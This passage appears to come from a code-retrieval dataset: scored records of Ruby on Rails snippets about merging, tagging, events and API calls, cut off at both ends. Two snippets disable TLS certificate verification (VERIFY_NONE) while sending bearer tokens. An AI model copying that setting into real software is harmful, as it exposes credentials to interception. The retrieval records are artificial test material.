Rails.logger.info(\"POST request body: #{post_body}\")\n # one request takes much longer so we must increase the read_timeout (seconds)\n response = RestClient::Request.execute :method => :post, :url => \"#{@catalog_rest_endpoint}tags/#{@tag}/associations/by_query\", :payload => post_body,\n :headers => {'Authorization' => @token, 'Content-Type' => 'application/json'},\n :verify_ssl => OpenSSL::SSL::VERIFY_NONE, :timeout => 240\n if (response.code != 200)\n Rails.logger.info(\"COULD NOT TAG PROVIDERS, ERROR: #{response.code}, BODY: #{response.body} \")\n else\n Rails.logger.info(\"SUCCESSFULY TAGGED ALL PROVIDERS\")\n end\n end\n end", "title": "" }, { "docid": "e3e121d870c369b162ec52d964308f5a", "score": "0.4634382", "text": "def emerge(package_atom, options)\n Chef::Mixin::Command.run_command_with_systems_locale(\n :command => emerge_cmd(package_atom, default_emerge_options(options))\n )\n end", "title": "" }, { "docid": "49da4c704ec0a660f0f1984566c3b18d", "score": "0.46184093", "text": "def update\n tag_array = event_params2['tags'].split(',')\n tag_array.each do |x|\n if Tag.find_by(desc: x)\n @tag = Tag.find_by(desc: x)\n else\n @tag = Tag.create(desc: x)\n end\n @event.tags << @tag\n # EventTag.create(event_id: @event.id, tag_id: @tag.id)\n end\n\n\n respond_to do |format|\n store_photos\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8229e216b1585fa9560361e8df4d7f9c", "score": "0.4616919", "text": "def merge\n @parent_vendor = Vendor.find(params[:id])\n @child_vendor = Vendor.find(params[:vendor_id])\n\n if @parent_vendor.id != @child_vendor.id\n @parent_vendor.delay.merge!(@child_vendor, current_user)\n notice = \"Your sous chef is working to merge vendor #{@child_vendor.name}. It should be done soon.\"\n else\n notice = \"Sorry, could not merge the vendors.\"\n end\n\n redirect_to edit_admin_vendor_path(@parent_vendor), notice: notice\n end", "title": "" }, { "docid": "be16d968730f948ef55302490ac27fd0", "score": "0.4607361", "text": "def export_ransack\n list_name = params.delete(:segment_name)\n @q = Person.ransack(params[:q])\n @results = @q.result.includes(:tags)\n @mce = MailchimpExport.new(name: list_name, recipients: @results.collect(&:email_address), created_by: current_user.id)\n if @mce.with_user(current_user).save\n Rails.logger.info(\"[SearchController#export] Sent #{@mce.recipients.size} email addresses to a static segment named #{@mce.name}\")\n respond_to do |format|\n format.js {}\n end\n else\n Rails.logger.error(\"[SearchController#export] failed to send event to mailchimp: #{@mce.errors.inspect}\")\n format.all { render text: \"failed to send event to mailchimp: #{@mce.errors.inspect}\", status: 400 }\n end\n end", "title": "" }, { "docid": "3955f69d1c29e468f306b2cc2422d51f", "score": "0.45526746", "text": "def merge_builds merged_build\n FileUtils.mkdir_p @temp_root\n debug_msg \"Merging #{merged_build}\"\n require \"sdoc/merge\"\n \n tmp = temp_dir\n target = File.join @public_dir, merged_build.to_s\n \n title = merged_build.builds.map do |build| \n automation_by_name(build.name).name + \" v#{build.version}\"\n end.join(', ')\n names = merged_build.builds.map do |build| \n automation_by_name(build.name).short_name\n end.join(',')\n urls = merged_build.builds.map do |build|\n '../' + build.to_s\n end.join(' ')\n \n options = []\n options << \"-o\" << tmp\n options << '--title' << title\n options << '--names' << names\n options << '--urls' << urls\n merged_build.builds.each do |build|\n options << File.join(@public_dir, build.to_s)\n end\n SDoc::Merge.new.merge(options)\n \n FileUtils.rm_rf target if File.exists? target\n FileUtils.cp_r File.join(tmp, '.'), target, :preserve => true \n \n zip_tmp = merge_zip merged_build\n FileUtils.cp File.join(zip_tmp, 'rdoc.zip'), target, :preserve => true\n clean_up\n end", "title": "" }, { "docid": "d5ace611c4740a8d02d85b93942b293e", "score": "0.4541037", "text": "def update\n\n old_tags = @event.tags.pluck(:tag)\n new_tags = params[:tags].split(',')\n\n #logger.debug old_tags\n #logger.debug new_tags\n #logger.debug (old_tags - new_tags)\n #logger.debug (new_tags - old_tags)\n\n (old_tags - new_tags).each do |stag|\n @event.tags.where(tag: stag).first.destroy\n end\n\n (new_tags - old_tags).each do |stag|\n @event.tags.create(tag: stag)\n end\n\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be366749024dbc3c70ace70cfce99ae4", "score": "0.45341954", "text": "def create\n @merge = Merge.new(merge_params)\n\n respond_to do |format|\n if @merge.save\n format.html { redirect_to @merge, notice: 'Merge was successfully created.' }\n format.json { render :show, status: :created, location: @merge }\n else\n format.html { render :new }\n format.json { render json: @merge.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "58e826357b5a6c2f9564f355ef27d8e4", "score": "0.4518332", "text": "def create\n @admin_merge = Admin::Merge.new(merge_params)\n\n respond_to do |format|\n if @admin_merge.save\n format.html { redirect_to @admin_merge, notice: 'Merge was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_merge }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_merge.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5474da2062193ba5536e931e72aa3621", "score": "0.4515471", "text": "def import_updates\n unless @updates = Node.find_by_unique_name('updates')\n @updates = Node.create!( :slug => 'updates' )\n @updates.move_to_child_of Node.root\n end\n \n self.each do |update|\n \n author = find_or_create_author( update )\n node = find_or_create_node( update )\n html = convert_to_html( update.xml )\n page = fill_draft_with_content(node.draft, html, update.locale)\n \n add_tags_to_page page, update.xml, \"update\"\n add_event_to_node node, update.xml if page.tag_list.include?(\"event\")\n page.user = author\n page.save\n \n puts node.unique_name\n end\n \n puts \">> Publishing Drafts\"\n Node.all.each {|node| node.publish_draft!}\n puts \">> Finished\"\n end", "title": "" }, { "docid": "b8b70fb97ebfee88a35ee2939d0a029d", "score": "0.45074883", "text": "def execute(merge_requests: [])\n validate_merge_requests(merge_requests)\n\n [@valid, @invalid]\n end", "title": "" }, { "docid": "f550f6eb57de940c5f6e318cb8b86685", "score": "0.4504091", "text": "def add_entity\n #traversal all the parent node\n #and add the entity to them all\n msg = Message.new\n msg.result = true\n #ActiveRecord::Base.transaction do\n # @entity_group = Department.find_by_id(params[:id])\n # @entity_group_item = EntityGroupItem.new(:entity_id=>params[:entity_id],:entity_group_id=>params[:id])\n # if !@entity_group_item.save!\n # msg.result = false\n # msg.content = @entity_group_item.errors.full_messages\n # end\n # if @entity_group\n # @entity_group.ancestor_ids.each do |id|\n # @e = EntityGroupItem.new(:entity_id=>params[:entity_id],:entity_group_id=>id,:is_visual=>false)\n # if !@e.save!\n # msg.result = false\n # end\n # end\n # end\n #end\n\n entity = Entity.find_by_id(params[:entity_id])\n department = Department.find_by_id(params[:id])\n #add entity to all the ancestors of this department\n if entity&&department\n previous_dept = entity.department\n\n entity.update_attribute(\"department_id\",department.id)\n #delete all the entity_group_itmes\n #if !previous_dept.nil?\n # if entity_group_item = EntityGroupItem.find_by_entity_id_and_entity_group_id(entity.id,previous_dept.entity_group.id)\n # entity_group_item.destroy\n # end\n #\n # previous_dept.ancestors.each do |d|\n # if entity_group_item = EntityGroupItem.find_by_entity_id_and_entity_group_id(entity.id,d.entity_group.id)\n # entity_group_item.destroy\n # end\n # end\n #end\n\n #create all the entity_group_item for new\n #entity_group_item = EntityGroupItem.new(:entity_id => entity.id,:entity_group_id=>department.entity_group.id)\n #entity_group_item.save\n\n #create the entitygroupitem\n #department.ancestors.each do |d|\n # entity_group_item = EntityGroupItem.new(:entity_id => entity.id,:entity_group_id=>d.entity_group.id)\n # entity_group_item.save\n #end\n #end\n msg.result = entity.save\n else\n\n end\n\n render :json=>msg\n end", "title": "" }, { "docid": "c08d794253814f9306df81326beac4fa", "score": "0.45027733", "text": "def postCategoryMerge( from, to)\n params = Hash.new\n params['from'] = from\n params['to'] = to\n return doCurl(\"post\",\"/category/merge\",params)\n end", "title": "" }, { "docid": "7bab665faceb6e5ae5d806647c3e40e8", "score": "0.44733316", "text": "def merge\n p params\n tracks = current_user.tracks.find(params[:track_ids])\n\n if tracks.count < 2\n respond_to do |format|\n format.html { redirect_to tracks_url, :alert => \"Please select at least 2 tracks to merge!\" }\n end\n end\n\n if @track=Track.merge(tracks)\n respond_to do |format|\n format.html { redirect_to track_url(@track), :notice => \"Tracks merged successfully\" }\n end\n else\n respond_to do |format|\n format.html { redirect_to tracks_url, :alert => \"Could not merge tracks!\" }\n end\n end\n end", "title": "" }, { "docid": "71c434c142b5a9471707a62c8e1f432f", "score": "0.44099027", "text": "def postEntityAdvertiserUpsell( entity_id, tags, locations, extra_tags, extra_locations, is_national, language, reseller_ref, reseller_agent_id, publisher_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['tags'] = tags\n params['locations'] = locations\n params['extra_tags'] = extra_tags\n params['extra_locations'] = extra_locations\n params['is_national'] = is_national\n params['language'] = language\n params['reseller_ref'] = reseller_ref\n params['reseller_agent_id'] = reseller_agent_id\n params['publisher_id'] = publisher_id\n return doCurl(\"post\",\"/entity/advertiser/upsell\",params)\n end", "title": "" }, { "docid": "cea3a3d6d0a8678cab4f7f4ad7e7478f", "score": "0.4408469", "text": "def merge_commit\n @org = Org.find(params[:id])\n authorize @org\n\n @target_org = Org.find_by(id: merge_params[:target_org])\n\n if @target_org.present?\n if @target_org.merge!(to_be_merged: @org)\n msg = \"Successfully merged '#{@org.name}' into '#{@target_org.name}'\"\n redirect_to super_admin_orgs_path, notice: msg\n else\n msg = _('An error occurred while trying to merge the Organisations.')\n redirect_to admin_edit_org_path(@org), alert: msg\n end\n else\n msg = _('Unable to merge the two Organisations at this time.')\n redirect_to admin_edit_org_path(@org), alert: msg\n end\n rescue JSON::ParserError\n msg = _('Unable to determine what records need to be merged.')\n redirect_to admin_edit_org_path(@org), alert: msg\n end", "title": "" }, { "docid": "c3b2473ed63ec03e315cab578b1525bb", "score": "0.4403791", "text": "def ear_positions\n ear_message = new_message\n ear_message.ears = 'ok'\n response = ear_message.send\n return [response.left_ear, response.right_ear]\n end", "title": "" }, { "docid": "57e5d400bc63ebbc6f4b19d8abb56077", "score": "0.43992987", "text": "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n\n new_tags = params[:tags].split(',')\n\n new_tags.each do |stag|\n @event.tags.create(tag: stag)\n end\n\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c57a50bb0441a3b191fcbb66b19b86f3", "score": "0.43930882", "text": "def create\n\n @event = Event.new(event_params)\n\n tag_array = event_params2['tags'].split(',')\n tag_array.each do |x|\n @tag = Tag.create(desc: x)\n @event.tags << @tag\n end\n EventTag.create(event_id: @event.id, tag_id: @tag.id)\n\n respond_to do |format|\n if @event.save\n params[:event]['images'].each do |a|\n @event_photo = @event.event_photos.create!(:image => a, :event_id => @event.id)\n end\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99cccc412f5f3a6d664de0965b805e25", "score": "0.43836343", "text": "def build_xml(builder)\n super(builder)\n builder.tag!(\"FromEntity\", \"xsi:type\" => self.source.class.to_s) {|b| source.build_xml(b)} if source\n builder.tag!(\"ToEntity\", \"xsi:type\" => self.target.class.to_s) {|b| target.build_xml(b)} if target\n successors.each do |s|\n builder.Successor {|b| s.build_xml(b)} if s\n end\n builder.Order order if order\n end", "title": "" }, { "docid": "c9ddac1041c1aace3786b7ab38ed400c", "score": "0.43803784", "text": "def postEntityAdvertiserTag( gen_id, entity_id, language, tags_to_add, tags_to_remove)\n params = Hash.new\n params['gen_id'] = gen_id\n params['entity_id'] = entity_id\n params['language'] = language\n params['tags_to_add'] = tags_to_add\n params['tags_to_remove'] = tags_to_remove\n return doCurl(\"post\",\"/entity/advertiser/tag\",params)\n end", "title": "" }, { "docid": "fc1c744182dc942b68d36f36b97d60e5", "score": "0.43786982", "text": "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "title": "" }, { "docid": "fb9f510d8a386465aa23b8047dd5d533", "score": "0.4370904", "text": "def up\n non_duplicated_group_endorsements = ProposalEndorsement.select(\n \"MIN(id) as id, decidim_user_group_id\"\n ).group(:decidim_user_group_id).where.not(decidim_user_group_id: nil).map(&:id)\n\n ProposalEndorsement.where(\"id IN (?) OR decidim_user_group_id IS NULL\", non_duplicated_group_endorsements).find_each do |prop_endorsement|\n Endorsement.create!(\n resource_type: Decidim::Proposals::Proposal.name,\n resource_id: prop_endorsement.decidim_proposal_id,\n decidim_author_type: prop_endorsement.decidim_author_type,\n decidim_author_id: prop_endorsement.decidim_author_id,\n decidim_user_group_id: prop_endorsement.decidim_user_group_id\n )\n end\n # update new `decidim_proposals_proposal.endorsements_count` counter cache\n Decidim::Proposals::Proposal.select(:id).all.find_each do |proposal|\n Decidim::Proposals::Proposal.reset_counters(proposal.id, :endorsements)\n end\n end", "title": "" }, { "docid": "2f72af052dcf7ebb445e5c5f6c95b46e", "score": "0.4370659", "text": "def destroy\n @admin_merge.destroy\n respond_to do |format|\n format.html { redirect_to admin_merges_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "665da16279e5327a76af2f747a8bc306", "score": "0.4359359", "text": "def process!()\n # Regarding updates or deletions of :badge_id\n # --------------------------------------------------------------------\n # This has to change only if it refers to a duplicate row;\n # that is, a row that will become a duplicate (and it will have to\n # be deleted) once that the update (and translation) process has been\n # completed.\n #\n # Thus, each linked entity that has a reference to one of these\n # possibly duplicate IDs has to be updated with the new destination value\n # (of which they are the duplicate); else, the value for :badge_id can stay untouched.\n\n merge_done = false\n if check\n process_text_log << \"\\r\\nMerging '#{ @slave_swimmer.complete_name }' (id: #{ @slave_swimmer.id}) => '#{@master_swimmer.complete_name}' (id: #{@master_swimmer.id })...\\r\\n\\r\\n\"\n sql_diff_text_log << \"-- Merging '#{ @slave_swimmer.complete_name }' (id: #{ @slave_swimmer.id}) => '#{@master_swimmer.complete_name}' (id: #{@master_swimmer.id })...\\r\\n\\r\\n\"\n\n # Define merge schema (involved entities)\n @involved_entities = SwimmerMerger.get_involved_entities\n\n # Collect entity row to merge\n @involved_entities.each do |involved_entity|\n collect_swimmer_inolved_entity( involved_entity )\n end\n\n # Collect badges to merge (both swimmers have badges for the same season)\n collect_badges_to_merge\n\n # N.B. Checks for some recalculation needed should be performed before update and delete phases\n # Check if Goggle Cup standards needs recalculation\n needs_goggle_cup_recalculation = needs_goggle_cup_recalculation?\n\n # Check if seasonal personal standards needs recalculation\n needs_season_personal_standard_recalculation = needs_season_personal_standard_recalculation?\n\n # Perform the merge: update and delete phases\n # Bail out from any of these, if something goes wrong:\n merge_done = update_phase! && create_alias_phase! && delete_phase! && execute_delete!( Swimmer )\n\n if merge_done\n if @row_collectors[ MeetingIndividualResult.table_name ].non_duplicates_rows.size > 0\n # Recalculate personal bests\n process_text_log << \"\\r\\n\\r\\nPersonal-bests recalculation needed...\\r\\n\"\n swimmer_best_updater = SwimmerPersonalBestUpdater.new( @master_swimmer )\n swimmer_best_updater.scan_for_personal_best!\n sql_diff_text_log << swimmer_best_updater.sql_diff_text_log\n process_text_log << \"Personal-bests recalculation done!\\r\\n\"\n end\n\n # TODO if needed, also recalculate goggle_cup_standards\n if needs_goggle_cup_recalculation\n process_text_log << \"\\r\\n\\r\\n*** I M P O R T A N T ***\\r\\n\"\n process_text_log << \"Goggle-cup standards recalculation needed...\\r\\n\"\n end\n\n # TODO if needed, also recalculate season_personal_standards\n if needs_season_personal_standard_recalculation?\n process_text_log << \"\\r\\n\\r\\n*** I M P O R T A N T ***\\r\\n\"\n process_text_log << \"Season personal standards recalculation needed...\\r\\n\"\n end\n end\n end\n merge_done\n end", "title": "" }, { "docid": "9588c1032a6aeafd14a432dcd6c9835a", "score": "0.43429056", "text": "def merge; end", "title": "" }, { "docid": "177687a89490a11883538c022b773ff2", "score": "0.43422845", "text": "def merge(event_list)\n\t@events = merge_event_lists(@events, event_list)\n end", "title": "" }, { "docid": "74bd42eb1ffe642f9941b532f790d3c5", "score": "0.4337905", "text": "def update\n @gene_group = GeneGroup.find(params[:id])\n # TODO: There has got to be a better way to do this\n gene_ids = params.reject {|k,v| k !~ /^gene-/}.values\n genes = gene_ids.map {|g_id| Gene.find(g_id)}\n genes.each do |gene|\n @gene_group.genes << gene unless @gene_group.genes.include? gene\n end\n respond_to do |format|\n \n if @gene_group.save\n flash[:notice] = 'GeneGroup was successfully updated.'\n format.html { redirect_to(@gene_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @gene_group.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4bd071f0432a69ee494328939570dd59", "score": "0.43209103", "text": "def test_duplicate_tags\n existing_tag = create(:node_tag)\n assert_equal true, existing_tag.node.changeset.user.data_public\n # setup auth\n basic_authorization existing_tag.node.changeset.user.email, \"test\"\n\n # add an identical tag to the node\n tag_xml = XML::Node.new(\"tag\")\n tag_xml[\"k\"] = existing_tag.k\n tag_xml[\"v\"] = existing_tag.v\n\n # add the tag into the existing xml\n node_xml = existing_tag.node.to_xml\n node_xml.find(\"//osm/node\").first << tag_xml\n\n # try and upload it\n content node_xml\n put :update, :params => { :id => existing_tag.node.id }\n assert_response :bad_request,\n \"adding duplicate tags to a node should fail with 'bad request'\"\n assert_equal \"Element node/#{existing_tag.node.id} has duplicate tags with key #{existing_tag.k}\", @response.body\n end", "title": "" }, { "docid": "0ab00687ff7a505327c4e1ed145a7ab1", "score": "0.4316619", "text": "def merge(event, destroy = true)\n begin\n #merge scores\n raise if !self.scores.empty? && !event.scores.empty?\n event.scores.each do |score|\n score.update(event_id: self.id)\n end\n rescue\n return false\n end\n\n #merge divisions if applicable\n event.divisions.each do |division|\n division.events << self unless division.events.include?(self)\n end\n\n #merge teams\n event.teams.each do |team|\n self.teams << team unless self.teams.include?(team)\n end\n\n Event.destroy(event.id) if destroy\n end", "title": "" }, { "docid": "e6a6e420a6c6be2e8dba7c5a0f1a21d6", "score": "0.43152258", "text": "def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end", "title": "" }, { "docid": "235020ca87a28d244e41fa053c9fe920", "score": "0.43110868", "text": "def merge(e1, e2)\n checked_merge(\n assert_type('The first element of the merge', value_t, e1),\n assert_type('The second element of the merge', value_t, e2))\n end", "title": "" }, { "docid": "e9a026256b3af24b40c32da1bf70005b", "score": "0.4309259", "text": "def show\n @emerge = Emerge.unscoped.find(params[:id])\n @comments = @emerge.comments\n if (params[:type] == \"ajax\")\n @showcomment = false\n render :layout => \"ajax\"\n else\n @showcomment = true\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @emerge }\n end\n end\n end", "title": "" }, { "docid": "e561c886acab345e3d7697adbbe937fe", "score": "0.43066993", "text": "def update_esporte_ids(host_params)\n if params[:esportes_attributes].present?\n params[:esportes_attributes].each do |index, esporte_params|\n if esporte_params[:nome].present? && esporte_params[:id].blank?\n esporte = Esporte.save?(esporte_params[:nome],\n Esporte.categorias['outros'])\n unless esporte.nil?\n host_params.merge(\n esporte_ids: host_params[:esporte_ids].push(esporte.id.to_s)\n )\n end\n end\n end\n end\n end", "title": "" }, { "docid": "eb7e850df9379a884c104e54c46c86f1", "score": "0.4296976", "text": "def waitlist_update(candidate_data)\n candidate_data.each do |element|\n events_candidates << element\n element.allot_batch!\n element.save\n end\n end", "title": "" }, { "docid": "f8044409e6da63463d2f5b19bff0c74a", "score": "0.42959872", "text": "def update\n @node = Node.find(params[:id])\n \n #params[:incoming_edges_attributes] and params[:incoming_edges_attributes].each { |i| i[:node_id_B] = @node.id and i[:edgetype] = Edgetype.find_by_name('dependent') }\n #params[:outgoing_edges_attributes] and params[:outgoing_edges_attributes].each { |i| i[:node_id_A] = @node.id and i[:edgetype] = Edgetype.find_by_name('dependent') }\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n Action.log :controller => params[:controller], :action => params[:action], :target_id => params[:id], :user => current_user\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n @node.related_edges_B.build\n @node.incoming_edges.build\n @node.outgoing_edges.build\n format.html { render action: \"edit\", :layout => !request.xhr? }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5ce96d78f3ab1ad25a64f8ebfe68b86", "score": "0.4290545", "text": "def join\n @event = Event.find(params[:event_id])\n if (params[:type] == \"invite\")\n @uids = params[:uids]\n @uid_array = []\n @uid_array = @uids.split(\",\")\n\n @motlee_users = []\n @non_motlee_users = []\n\n @uid_array.each do |uid|\n motlee_user = User.where(:uid => uid).first\n\n if motlee_user.nil?\n token = params[:access_token]\n event_id = params[:event_id]\n Resque.enqueue(ProcessNewUserInvite, token, event_id, uid) \n else\n # User is already a part of Motlee\n # Add user to array of Motlee users\n @motlee_users << uid\n \n # Now we check to see if the user has already been added to the event\n @attendee = Attendee.where(\"user_id = ? AND event_id = ?\", motlee_user.id, params[:event_id]).first\n if @attendee.nil?\n # If user has not been added, create new Attendee object\n @attendee = Attendee.create(:user_id => motlee_user.id, :event_id => params[:event_id], :rsvp_status => 1)\n if (motlee_user.id != current_user.id)\n Resque.enqueue(AddEventNotification, motlee_user.id, params[:event_id], current_user.id)\n end\n end\n end\n end \n else\n @attendee = Attendee.create(:user_id => current_user.id, :event_id => @event.id, :rsvp_status => 1)\n end\n # Render a response so the devices are happy\n @event.update_attributes(:updated_at => Time.now)\n render :json => @event.as_json({:methods => [:owner, :attendee_count], \n :include => {:photos => {:include => {:comments => {}, :likes => {}}}, \n :people_attending => {:only => [:id, :uid, :name, :sign_in_count]}}})\n end", "title": "" }, { "docid": "f59981520150fd3d217a3868e011acbe", "score": "0.428969", "text": "def submit_merge\n categories_to_merge = params[:categories]\n \n merge_src = Category.find(params[:original_category_id])\n \n for category_to_merge in categories_to_merge\n next if category_to_merge[1] == \"0\"\n \n mergeCat = CategoryMerge.new\n mergeCat.merge_src = merge_src.name\n mergeCat.merge_target = category_to_merge.object_id \n mergeCat.save\n \n # Delete all the feed item categories that existing on other items\n feed_item_categories = FeedItemCategory.find_all_by_category_id(params[:original_category_id])\n for feed_item_category in feed_item_categories \n new_feed_item_category = FeedItemCategory.new\n new_feed_item_category.feed_item_id = feed_item_category.feed_item_id\n new_feed_item_category.category_id = category_to_merge[0]\n \n new_feed_item_category.save\n \n feed_item_category.delete\n end\n end\n \n merge_src.delete\n redirect_to '/category_organizer'\n end", "title": "" }, { "docid": "14993195ac883e7ad56f03042579fe87", "score": "0.4289627", "text": "def update_multiple_confirmation_events\n if params[:commit] == t('views.common.update')\n confirmation_events = ConfirmationEvent.update(\n params[:confirmation_events].keys,\n params[:confirmation_events].values\n ).reject { |p| p.errors.empty? }\n if confirmation_events.empty?\n flash[:notice] = t('messages.confirmation_events_updated')\n else\n flash[:alert] = t('messages.not_all_confirmation_events_updated')\n end\n set_confirmation_events\n render :edit_multiple_confirmation_events\n elsif !params[:update].nil? &&\n params[:update].keys.size == 1 &&\n (params[:update][params[:update].keys[0]] == t('views.common.update_candidates_event'))\n\n confirmation_event = ConfirmationEvent.find(params[:update].keys[0])\n\n candidates_info(confirmation_event: confirmation_event)\n render :mass_edit_candidates_event\n else\n flash[:alert] = \"Unkown commit param: #{params[:commit]}\"\n set_confirmation_events\n render :edit_multiple_confirmation_events\n end\n end", "title": "" }, { "docid": "7e742a04c08ea70613ec6c2126d64441", "score": "0.4288631", "text": "def create\n # params[:tag_id].split(\",\").each do |p|\n @tag = Tag.new(title:params[:title])\n @tag.save\n#end\n @meetup = Meetup.new(meetup_params)\n @meetup.save\n params[:tag_id].split(\",\").each do |p|\n @tagmeetup = Tagmeetup.new(tag_id:p,meetup_id:@meetup.id);\n @tagmeetup.save\n end\n respond_to do |format|\n if @meetup.save\n format.html { redirect_to @meetup, notice: 'Meetup was successfully created.' }\n format.json { render :show, status: :created, location: @meetup }\n else\n format.html { render :new }\n format.json { render json: @meetup.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "563da0ab5d7c1ad8f79390e88fad324b", "score": "0.42874977", "text": "def parse_photo_request_reponse_xml\n logger.debug('PARSING FILES.')\n Dir.glob(File.join(LOCAL_DIR, FILE_EXTN)).each do |file|\n begin\n doc = Nokogiri::XML.parse(File.open(file)) { |xml| xml.noblanks }\n parse_xml(doc)\n rescue StandardError? => e\n logger.debug('Error is processing file ' + file + ' ' + e.message)\n next\n end\n end\n puts salsify_ids_map\n logger.debug('PARSING COMPLETED.')\n end", "title": "" }, { "docid": "2b377f2aaa907e41d9bf9f857c170730", "score": "0.4287496", "text": "def send_questionnaire\n @user = current_employee\n success = false\n @vendor_questionnaire = VendorQuestionnaire.new(params[:vendor_questionnaire])\n @vendor_questionnaire.employee_id = @user.id\n if @vendor_questionnaire.save\n params[:approver_id].each do |f|\n @vendor_questionnaire.vendor_questionnaire_groups.new({questionnaire_group_id: f[0],approver_id: f[1]}).save #f[0] questionnaire_group_id f[1] employee_id \n end\n success = true\n else\n success = false\n end \n respond_to do |format|\n if success\n format.html { redirect_to show_question_path(@vendor_questionnaire), notice: 'Sent questionnaire successfully.' }\n format.json { render json: @vendor_questionnaire, status: :created, location: show_question_path(@vendor_questionnaire) } \n else\n format.html { render :action => \"init_questionnaire_workflow\" }\n format.json { render json: @vendor_questionnaire.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "883a00eb12b4136929e534aac980d03c", "score": "0.42866743", "text": "def dumpEMS(ems)\n $evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> Begin Attributes [ems.attributes]\")\n ems.attributes.sort.each { |k, v| $evm.log(\"info\", \"#{@method} - EMS:<#{ems.name}> Attributes - #{k}: #{v.inspect}\")}\n $evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> End Attributes [ems.attributes]\")\n $evm.log(\"info\",\"\")\n\n $evm.log(\"info\",\"#{@method} - EMS:<#{ems.name}> Begin Associations [ems.associations]\")\n ems.associations.sort.each { |assc| $evm.log(\"info\", \"#{@method} - EMS:<#{ems.name}> Associations - #{assc}\")}\n 